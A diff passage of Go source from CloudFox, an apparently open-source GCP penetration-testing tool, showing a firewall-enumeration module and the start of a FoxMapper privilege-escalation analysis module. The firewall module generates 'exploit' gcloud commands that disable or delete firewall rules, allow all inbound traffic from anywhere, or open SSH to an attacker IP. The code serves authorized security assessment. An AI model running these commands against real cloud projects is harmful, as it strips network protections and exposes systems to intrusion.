// Get subnets
|
||||
subnets, err = ns.Subnets(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_FIREWALL_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate subnets in project %s", projectID))
|
||||
}
|
||||
|
||||
// Get firewall rules
|
||||
rules, err = ns.FirewallRulesEnhanced(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_FIREWALL_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate firewall rules in project %s", projectID))
|
||||
}
|
||||
|
||||
// Thread-safe store per-project
|
||||
m.mu.Lock()
|
||||
m.ProjectNetworks[projectID] = networks
|
||||
m.ProjectSubnets[projectID] = subnets
|
||||
m.ProjectFirewallRules[projectID] = rules
|
||||
|
||||
for _, network := range networks {
|
||||
m.addNetworkToLoot(projectID, network)
|
||||
}
|
||||
for _, rule := range rules {
|
||||
m.addFirewallRuleToLoot(projectID, rule)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d network(s), %d subnet(s), %d rule(s) in project %s",
|
||||
len(networks), len(subnets), len(rules), projectID), globals.GCP_FIREWALL_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *FirewallModule) addNetworkToLoot(projectID string, network NetworkService.VPCInfo) {
|
||||
lootFile := m.LootMap[projectID]["firewall-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# NETWORK: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n\n"+
|
||||
"gcloud compute networks describe %s --project=%s\n"+
|
||||
"gcloud compute networks subnets list --network=%s --project=%s\n"+
|
||||
"gcloud compute firewall-rules list --filter=\"network:%s\" --project=%s\n\n",
|
||||
network.Name,
|
||||
network.ProjectID,
|
||||
network.Name, network.ProjectID,
|
||||
network.Name, network.ProjectID,
|
||||
network.Name, network.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *FirewallModule) addFirewallRuleToLoot(projectID string, rule NetworkService.FirewallRuleInfo) {
|
||||
lootFile := m.LootMap[projectID]["firewall-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# RULE: %s\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Network: %s\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Direction: %s\n"+
|
||||
"# Priority: %d\n"+
|
||||
"# Disabled: %v\n",
|
||||
rule.Name, rule.Network, rule.ProjectID,
|
||||
rule.Direction, rule.Priority, rule.Disabled,
|
||||
)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"\n# === ENUMERATION COMMANDS ===\n\n"+
|
||||
"# Describe rule:\n"+
|
||||
"gcloud compute firewall-rules describe %s --project=%s\n\n"+
|
||||
"# List all rules for this network:\n"+
|
||||
"gcloud compute firewall-rules list --filter=\"network:%s\" --project=%s --sort-by=priority\n\n",
|
||||
rule.Name, rule.ProjectID,
|
||||
rule.Network, rule.ProjectID,
|
||||
)
|
||||
|
||||
// Exploit commands
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# === EXPLOIT COMMANDS ===\n\n"+
|
||||
"# Disable this firewall rule:\n"+
|
||||
"gcloud compute firewall-rules update %s --disabled --project=%s\n\n"+
|
||||
"# Create a permissive rule to allow all inbound traffic:\n"+
|
||||
"gcloud compute firewall-rules create cloudfox-allow-all --network=%s --allow=tcp,udp,icmp --source-ranges=0.0.0.0/0 --priority=1 --project=%s\n\n"+
|
||||
"# Create rule to allow SSH from your IP:\n"+
|
||||
"gcloud compute firewall-rules create cloudfox-ssh --network=%s --allow=tcp:22 --source-ranges=YOUR_IP/32 --priority=100 --project=%s\n\n"+
|
||||
"# Delete this firewall rule:\n"+
|
||||
"gcloud compute firewall-rules delete %s --project=%s\n\n",
|
||||
rule.Name, rule.ProjectID,
|
||||
rule.Network, rule.ProjectID,
|
||||
rule.Network, rule.ProjectID,
|
||||
rule.Name, rule.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *FirewallModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Generate ASCII diagram and add to loot
|
||||
diagram := m.generateFirewallDiagram()
|
||||
if diagram != "" {
|
||||
// Add diagram to the first project's loot (or create a combined one)
|
||||
for projectID := range m.LootMap {
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
}
|
||||
m.LootMap[projectID]["firewall-diagram"] = &internal.LootFile{
|
||||
Name: "firewall-diagram",
|
||||
Contents: diagram,
|
||||
}
|
||||
break // Only add once for flat output
|
||||
}
|
||||
|
||||
// For hierarchical output, add to all projects
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
for projectID := range m.LootMap {
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
}
|
||||
m.LootMap[projectID]["firewall-diagram"] = &internal.LootFile{
|
||||
Name: "firewall-diagram",
|
||||
Contents: diagram,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// Table headers
|
||||
func (m *FirewallModule) getRulesHeader() []string {
|
||||
return []string{
|
||||
"Project", "Rule Name", "Network", "Direction",
|
||||
"Priority", "Source Ranges", "Allowed", "Targets", "Disabled", "Logging",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *FirewallModule) getNetworksHeader() []string {
|
||||
return []string{
|
||||
"Project", "Network Name", "Routing Mode",
|
||||
"Subnets", "Peerings", "Auto Subnets",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *FirewallModule) getSubnetsHeader() []string {
|
||||
return []string{
|
||||
"Project", "Network", "Subnet Name",
|
||||
"Region", "CIDR Range", "Private Google Access",
|
||||
}
|
||||
}
|
||||
|
||||
// rulesToTableBody converts rules to table body rows
|
||||
func (m *FirewallModule) rulesToTableBody(rules []NetworkService.FirewallRuleInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, rule := range rules {
|
||||
sources := strings.Join(rule.SourceRanges, ", ")
|
||||
if sources == "" {
|
||||
sources = "-"
|
||||
}
|
||||
|
||||
allowed := formatProtocols(rule.AllowedProtocols)
|
||||
if allowed == "" {
|
||||
allowed = "-"
|
||||
}
|
||||
|
||||
targets := "-"
|
||||
if len(rule.TargetTags) > 0 {
|
||||
targets = strings.Join(rule.TargetTags, ", ")
|
||||
} else if len(rule.TargetSAs) > 0 {
|
||||
targets = strings.Join(rule.TargetSAs, ", ")
|
||||
} else {
|
||||
targets = "ALL"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(rule.ProjectID),
|
||||
rule.Name,
|
||||
rule.Network,
|
||||
rule.Direction,
|
||||
fmt.Sprintf("%d", rule.Priority),
|
||||
sources,
|
||||
allowed,
|
||||
targets,
|
||||
shared.BoolToYesNo(rule.Disabled),
|
||||
shared.BoolToYesNo(rule.LoggingEnabled),
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// networksToTableBody converts networks to table body rows
|
||||
func (m *FirewallModule) networksToTableBody(networks []NetworkService.VPCInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, network := range networks {
|
||||
subnetCount := len(network.Subnetworks)
|
||||
|
||||
peerings := "-"
|
||||
if len(network.Peerings) > 0 {
|
||||
var peerNames []string
|
||||
for _, p := range network.Peerings {
|
||||
peerNames = append(peerNames, p.Name)
|
||||
}
|
||||
peerings = strings.Join(peerNames, ", ")
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(network.ProjectID),
|
||||
network.Name,
|
||||
network.RoutingMode,
|
||||
fmt.Sprintf("%d", subnetCount),
|
||||
peerings,
|
||||
shared.BoolToYesNo(network.AutoCreateSubnetworks),
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// subnetsToTableBody converts subnets to table body rows
|
||||
func (m *FirewallModule) subnetsToTableBody(subnets []NetworkService.SubnetInfo) [][]string {
|
||||
var body [][]string
|
||||
for _, subnet := range subnets {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(subnet.ProjectID),
|
||||
subnet.Network,
|
||||
subnet.Name,
|
||||
subnet.Region,
|
||||
subnet.IPCidrRange,
|
||||
shared.BoolToYesNo(subnet.PrivateIPGoogleAccess),
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// buildTablesForProject builds all tables for given project data
|
||||
func (m *FirewallModule) buildTablesForProject(networks []NetworkService.VPCInfo, subnets []NetworkService.SubnetInfo, rules []NetworkService.FirewallRuleInfo) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
rulesBody := m.rulesToTableBody(rules)
|
||||
if len(rulesBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_FIREWALL_MODULE_NAME + "-rules",
|
||||
Header: m.getRulesHeader(),
|
||||
Body: rulesBody,
|
||||
})
|
||||
}
|
||||
|
||||
networksBody := m.networksToTableBody(networks)
|
||||
if len(networksBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_FIREWALL_MODULE_NAME + "-networks",
|
||||
Header: m.getNetworksHeader(),
|
||||
Body: networksBody,
|
||||
})
|
||||
}
|
||||
|
||||
subnetsBody := m.subnetsToTableBody(subnets)
|
||||
if len(subnetsBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: globals.GCP_FIREWALL_MODULE_NAME + "-subnets",
|
||||
Header: m.getSubnetsHeader(),
|
||||
Body: subnetsBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *FirewallModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all projects with data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectNetworks {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectSubnets {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectFirewallRules {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
for projectID := range projectsWithData {
|
||||
networks := m.ProjectNetworks[projectID]
|
||||
subnets := m.ProjectSubnets[projectID]
|
||||
rules := m.ProjectFirewallRules[projectID]
|
||||
|
||||
tableFiles := m.buildTablesForProject(networks, subnets, rules)
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = FirewallOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_FIREWALL_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *FirewallModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allNetworks := m.getAllNetworks()
|
||||
allSubnets := m.getAllSubnets()
|
||||
allRules := m.getAllFirewallRules()
|
||||
|
||||
tableFiles := m.buildTablesForProject(allNetworks, allSubnets, allRules)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := FirewallOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_FIREWALL_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Diagram Generation
|
||||
// ------------------------------
|
||||
|
||||
// generateFirewallDiagram creates an ASCII visualization of firewall rules
|
||||
func (m *FirewallModule) generateFirewallDiagram() string {
|
||||
allRules := m.getAllFirewallRules()
|
||||
if len(allRules) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Group rules by network
|
||||
rulesByNetwork := make(map[string][]NetworkService.FirewallRuleInfo)
|
||||
for _, rule := range allRules {
|
||||
key := rule.ProjectID + "/" + rule.Network
|
||||
rulesByNetwork[key] = append(rulesByNetwork[key], rule)
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
width := 90
|
||||
|
||||
// Header
|
||||
sb.WriteString(diagramservice.DrawBox("GCP FIREWALL RULES DIAGRAM - Generated by CloudFox", width))
|
||||
sb.WriteString("\n")
|
||||
|
||||
// Draw diagram for each network
|
||||
for key, rules := range rulesByNetwork {
|
||||
parts := strings.SplitN(key, "/", 2)
|
||||
projectID := ""
|
||||
networkName := key
|
||||
if len(parts) == 2 {
|
||||
projectID = parts[0]
|
||||
networkName = parts[1]
|
||||
}
|
||||
|
||||
// Convert to diagram service types
|
||||
diagramRules := make([]diagramservice.FirewallRuleInfo, 0, len(rules))
|
||||
for _, r := range rules {
|
||||
allowedPorts := formatProtocols(r.AllowedProtocols)
|
||||
if allowedPorts == "" {
|
||||
allowedPorts = "*"
|
||||
}
|
||||
|
||||
targets := "ALL"
|
||||
if len(r.TargetTags) > 0 {
|
||||
targets = strings.Join(r.TargetTags, ", ")
|
||||
} else if len(r.TargetSAs) > 0 {
|
||||
targets = strings.Join(r.TargetSAs, ", ")
|
||||
}
|
||||
|
||||
diagramRules = append(diagramRules, diagramservice.FirewallRuleInfo{
|
||||
Name: r.Name,
|
||||
Direction: r.Direction,
|
||||
Priority: r.Priority,
|
||||
SourceRanges: r.SourceRanges,
|
||||
AllowedPorts: allowedPorts,
|
||||
TargetTags: targets,
|
||||
IsPublicIngress: r.IsPublicIngress,
|
||||
Disabled: r.Disabled,
|
||||
})
|
||||
}
|
||||
|
||||
sb.WriteString(diagramservice.DrawFirewallDiagram(diagramRules, networkName, projectID, width))
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// Helper functions
|
||||
|
||||
// formatProtocols formats allowed/denied protocols for display
|
||||
func formatProtocols(protocols map[string][]string) string {
|
||||
var parts []string
|
||||
for proto, ports := range protocols {
|
||||
if len(ports) == 0 {
|
||||
parts = append(parts, proto+":all")
|
||||
} else {
|
||||
parts = append(parts, proto+":"+strings.Join(ports, ","))
|
||||
}
|
||||
}
|
||||
return strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
Executable
+989
@@ -0,0 +1,989 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
foxmapperservice "github.com/BishopFox/cloudfox/gcp/services/foxmapperService"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPFoxMapperCommand = &cobra.Command{
|
||||
Use: "foxmapper",
|
||||
Aliases: []string{"fm", "pmapper"},
|
||||
Short: "Display privilege escalation data from FoxMapper graphs",
|
||||
Long: `Display and analyze privilege escalation paths from FoxMapper graph data.
|
||||
|
||||
This command reads FoxMapper graph data (generated by 'foxmapper gcp graph create')
|
||||
and displays privilege escalation analysis results. It's the GCP equivalent of
|
||||
CloudFox's AWS pmapper integration.
|
||||
|
||||
FoxMapper creates a graph of principals (service accounts, users, groups) and
|
||||
privilege escalation edges between them. This command queries that graph to:
|
||||
|
||||
1. List all admin principals
|
||||
2. List all principals with paths to admin
|
||||
3. Display detailed escalation paths
|
||||
4. Show statistics and summaries
|
||||
|
||||
FoxMapper data locations (checked in order):
|
||||
- Linux: ~/.local/share/foxmapper/gcp/{org_id or project_id}/
|
||||
- macOS: ~/Library/Application Support/foxmapper/gcp/{org_id or project_id}/
|
||||
- Windows: %APPDATA%/foxmapper/gcp/{org_id or project_id}/
|
||||
|
||||
To generate FoxMapper data, run:
|
||||
foxmapper gcp graph create --org {org_id}
|
||||
foxmapper gcp graph create --project {project_id}
|
||||
|
||||
Examples:
|
||||
# Display privesc analysis for an organization
|
||||
cloudfox gcp foxmapper --org 123456789
|
||||
|
||||
# Display privesc analysis for a specific project
|
||||
cloudfox gcp foxmapper --project my-project
|
||||
|
||||
# Use a custom FoxMapper data path
|
||||
cloudfox gcp foxmapper --foxmapper-path /path/to/foxmapper/gcp/123456789`,
|
||||
Run: runGCPFoxMapperCommand,
|
||||
}
|
||||
|
||||
// Module-specific flags
|
||||
var (
|
||||
foxmapperOrgID string
|
||||
foxmapperProjectID string
|
||||
foxmapperDataPath string
|
||||
)
|
||||
|
||||
func init() {
|
||||
GCPFoxMapperCommand.Flags().StringVar(&foxmapperOrgID, "org", "", "Organization ID to analyze")
|
||||
GCPFoxMapperCommand.Flags().StringVar(&foxmapperProjectID, "project", "", "Project ID to analyze (if not using org)")
|
||||
GCPFoxMapperCommand.Flags().StringVar(&foxmapperDataPath, "foxmapper-path", "", "Custom path to FoxMapper data directory")
|
||||
}
|
||||
|
||||
// FoxMapperModule holds the state for the FoxMapper command
|
||||
type FoxMapperModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
FoxMapper *foxmapperservice.FoxMapperService
|
||||
OrgID string
|
||||
ProjectID string
|
||||
DataPath string
|
||||
OrgCache *gcpinternal.OrgCache
|
||||
|
||||
// Output data
|
||||
Admins []*foxmapperservice.Node
|
||||
NodesWithPrivesc []*foxmapperservice.Node
|
||||
Summary map[string]interface{}
|
||||
LootMap map[string]*internal.LootFile
|
||||
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type FoxMapperOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o FoxMapperOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o FoxMapperOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPFoxMapperCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, "foxmapper")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &FoxMapperModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
FoxMapper: foxmapperservice.New(),
|
||||
OrgID: foxmapperOrgID,
|
||||
ProjectID: foxmapperProjectID,
|
||||
DataPath: foxmapperDataPath,
|
||||
LootMap: make(map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *FoxMapperModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
// Get OrgCache for project number resolution
|
||||
m.OrgCache = gcpinternal.GetOrgCacheFromContext(ctx)
|
||||
|
||||
logger.InfoM("Looking for FoxMapper data and building privilege escalation graph...", "foxmapper")
|
||||
|
||||
// Custom path specified - load directly
|
||||
if m.DataPath != "" {
|
||||
if err := m.FoxMapper.LoadGraphFromPath(m.DataPath); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to load FoxMapper data from path: %v", err), "foxmapper")
|
||||
return
|
||||
}
|
||||
m.analyzeAndOutput(ctx, logger, m.DataPath)
|
||||
return
|
||||
}
|
||||
|
||||
// Specific org specified
|
||||
if m.OrgID != "" {
|
||||
if err := m.FoxMapper.LoadGraph(m.OrgID, true); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to load FoxMapper data for org %s: %v", m.OrgID, err), "foxmapper")
|
||||
fmt.Printf("\nTo generate FoxMapper data, run:\n foxmapper gcp graph create --org %s\n", m.OrgID)
|
||||
return
|
||||
}
|
||||
m.analyzeAndOutput(ctx, logger, m.OrgID)
|
||||
return
|
||||
}
|
||||
|
||||
// Specific project specified via module flag
|
||||
if m.ProjectID != "" {
|
||||
if err := m.FoxMapper.LoadGraph(m.ProjectID, false); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to load FoxMapper data for project %s: %v", m.ProjectID, err), "foxmapper")
|
||||
fmt.Printf("\nTo generate FoxMapper data, run:\n foxmapper gcp graph create --project %s\n", m.ProjectID)
|
||||
return
|
||||
}
|
||||
m.analyzeAndOutput(ctx, logger, m.ProjectID)
|
||||
return
|
||||
}
|
||||
|
||||
// No specific identifier - try org from hierarchy, then iterate projects
|
||||
orgID := ""
|
||||
if m.Hierarchy != nil && len(m.Hierarchy.Organizations) > 0 {
|
||||
orgID = m.Hierarchy.Organizations[0].ID
|
||||
}
|
||||
|
||||
// Try org-level graph first (covers all projects)
|
||||
if orgID != "" {
|
||||
if err := m.FoxMapper.LoadGraph(orgID, true); err == nil {
|
||||
logger.InfoM(fmt.Sprintf("Loaded org-level FoxMapper graph for org: %s", orgID), "foxmapper")
|
||||
m.analyzeAndOutput(ctx, logger, orgID)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// No org graph - try each project
|
||||
if len(m.ProjectIDs) == 0 {
|
||||
logger.ErrorM("No organization or project specified. Use --org or --project flag.", "foxmapper")
|
||||
logger.InfoM("To generate FoxMapper data, run:", "foxmapper")
|
||||
logger.InfoM(" foxmapper gcp graph create --org {org_id}", "foxmapper")
|
||||
logger.InfoM(" foxmapper gcp graph create --project {project_id}", "foxmapper")
|
||||
return
|
||||
}
|
||||
|
||||
// Build hierarchical output for per-project analysis
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
foundAny := false
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
// Create fresh FoxMapper service for each project
|
||||
projectFM := foxmapperservice.New()
|
||||
if err := projectFM.LoadGraph(projectID, false); err != nil {
|
||||
// No FoxMapper data for this project - skip silently
|
||||
continue
|
||||
}
|
||||
|
||||
foundAny = true
|
||||
logger.InfoM(fmt.Sprintf("Loaded FoxMapper graph for project %s: %d nodes, %d edges",
|
||||
projectID, len(projectFM.Nodes), len(projectFM.Edges)), "foxmapper")
|
||||
|
||||
// Analyze this project
|
||||
admins := projectFM.GetAdminNodes()
|
||||
nodesWithPrivesc := projectFM.GetNodesWithPrivesc()
|
||||
summary := projectFM.GetPrivescSummary()
|
||||
|
||||
// Generate output for this project
|
||||
output := m.generateOutputForProject(logger, projectID, projectFM, admins, nodesWithPrivesc, summary)
|
||||
outputData.ProjectLevelData[projectID] = output
|
||||
|
||||
// Print summary for this project
|
||||
m.printProjectSummary(logger, projectID, summary)
|
||||
}
|
||||
|
||||
if !foundAny {
|
||||
logger.ErrorM("No FoxMapper data found for any project.", "foxmapper")
|
||||
fmt.Println("\nTo generate FoxMapper data, run:")
|
||||
fmt.Println(" foxmapper gcp graph create --org {org_id}")
|
||||
fmt.Println(" foxmapper gcp graph create --project {project_id}")
|
||||
fmt.Println("\nFor more info: https://github.com/BishopFox/cloudfox/wiki/GCP-Commands#foxmapper")
|
||||
return
|
||||
}
|
||||
|
||||
// Write hierarchical output
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
if err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), "foxmapper")
|
||||
}
|
||||
}
|
||||
|
||||
// analyzeAndOutput analyzes a single loaded FoxMapper graph and writes output
|
||||
func (m *FoxMapperModule) analyzeAndOutput(ctx context.Context, logger internal.Logger, identifier string) {
|
||||
logger.InfoM(fmt.Sprintf("Loaded FoxMapper graph: %d nodes, %d edges",
|
||||
len(m.FoxMapper.Nodes), len(m.FoxMapper.Edges)), "foxmapper")
|
||||
|
||||
// Get analysis data
|
||||
m.Admins = m.FoxMapper.GetAdminNodes()
|
||||
m.NodesWithPrivesc = m.FoxMapper.GetNodesWithPrivesc()
|
||||
m.Summary = m.FoxMapper.GetPrivescSummary()
|
||||
|
||||
// Generate output
|
||||
output := m.generateOutput(logger, identifier)
|
||||
|
||||
// For org-level or single identifier, use hierarchical output at org level
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
outputData.OrgLevelData[identifier] = output
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
if err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), "foxmapper")
|
||||
}
|
||||
|
||||
// Print summary
|
||||
m.printSummary(logger, identifier)
|
||||
}
|
||||
|
||||
// generateOutputForProject generates output for a specific project's FoxMapper data
|
||||
func (m *FoxMapperModule) generateOutputForProject(logger internal.Logger, projectID string, fm *foxmapperservice.FoxMapperService, admins []*foxmapperservice.Node, nodesWithPrivesc []*foxmapperservice.Node, summary map[string]interface{}) FoxMapperOutput {
|
||||
var output FoxMapperOutput
|
||||
|
||||
// Main table: principals with admin or path to admin
|
||||
// Read left to right: Project -> Type -> Principal -> Admin Status -> Privesc Target -> Privesc Admin Level -> Hops
|
||||
mainHeader := []string{"Project", "Type", "Principal", "Is Admin", "Admin Level", "Privesc To", "Privesc Admin Level", "Hops", "Confidence"}
|
||||
var mainBody [][]string
|
||||
|
||||
// First add admins
|
||||
for _, admin := range admins {
|
||||
adminLevel := admin.AdminLevel
|
||||
if adminLevel == "" {
|
||||
adminLevel = "project"
|
||||
}
|
||||
mainBody = append(mainBody, []string{
|
||||
admin.ProjectID,
|
||||
admin.MemberType,
|
||||
admin.Email,
|
||||
"Yes",
|
||||
adminLevel,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
|
||||
// Then add nodes with privesc paths
|
||||
for _, node := range nodesWithPrivesc {
|
||||
paths := fm.GetPrivescPaths(node.Email)
|
||||
shortestPath := "-"
|
||||
privescTo := "-"
|
||||
privescAdminLevel := "-"
|
||||
confidence := "-"
|
||||
if len(paths) > 0 {
|
||||
bestPath := paths[0]
|
||||
shortestPath = strconv.Itoa(bestPath.HopCount)
|
||||
// Get the destination (admin) from the best path
|
||||
privescTo = bestPath.Destination
|
||||
// Clean up the display
|
||||
if strings.HasPrefix(privescTo, "serviceAccount:") {
|
||||
privescTo = strings.TrimPrefix(privescTo, "serviceAccount:")
|
||||
} else if strings.HasPrefix(privescTo, "user:") {
|
||||
privescTo = strings.TrimPrefix(privescTo, "user:")
|
||||
}
|
||||
|
||||
// Confidence from the best path
|
||||
confidence = bestPath.Confidence
|
||||
if confidence == "" {
|
||||
confidence = "high"
|
||||
}
|
||||
|
||||
// Format privesc admin level
|
||||
destNode := fm.GetNode(bestPath.Destination)
|
||||
switch bestPath.AdminLevel {
|
||||
case "org":
|
||||
privescAdminLevel = "Org"
|
||||
case "folder":
|
||||
// Try to extract folder from the destination node's IAM bindings
|
||||
if destNode != nil && len(destNode.IAMBindings) > 0 {
|
||||
for _, binding := range destNode.IAMBindings {
|
||||
if resource, ok := binding["resource"].(string); ok {
|
||||
if strings.HasPrefix(resource, "folders/") {
|
||||
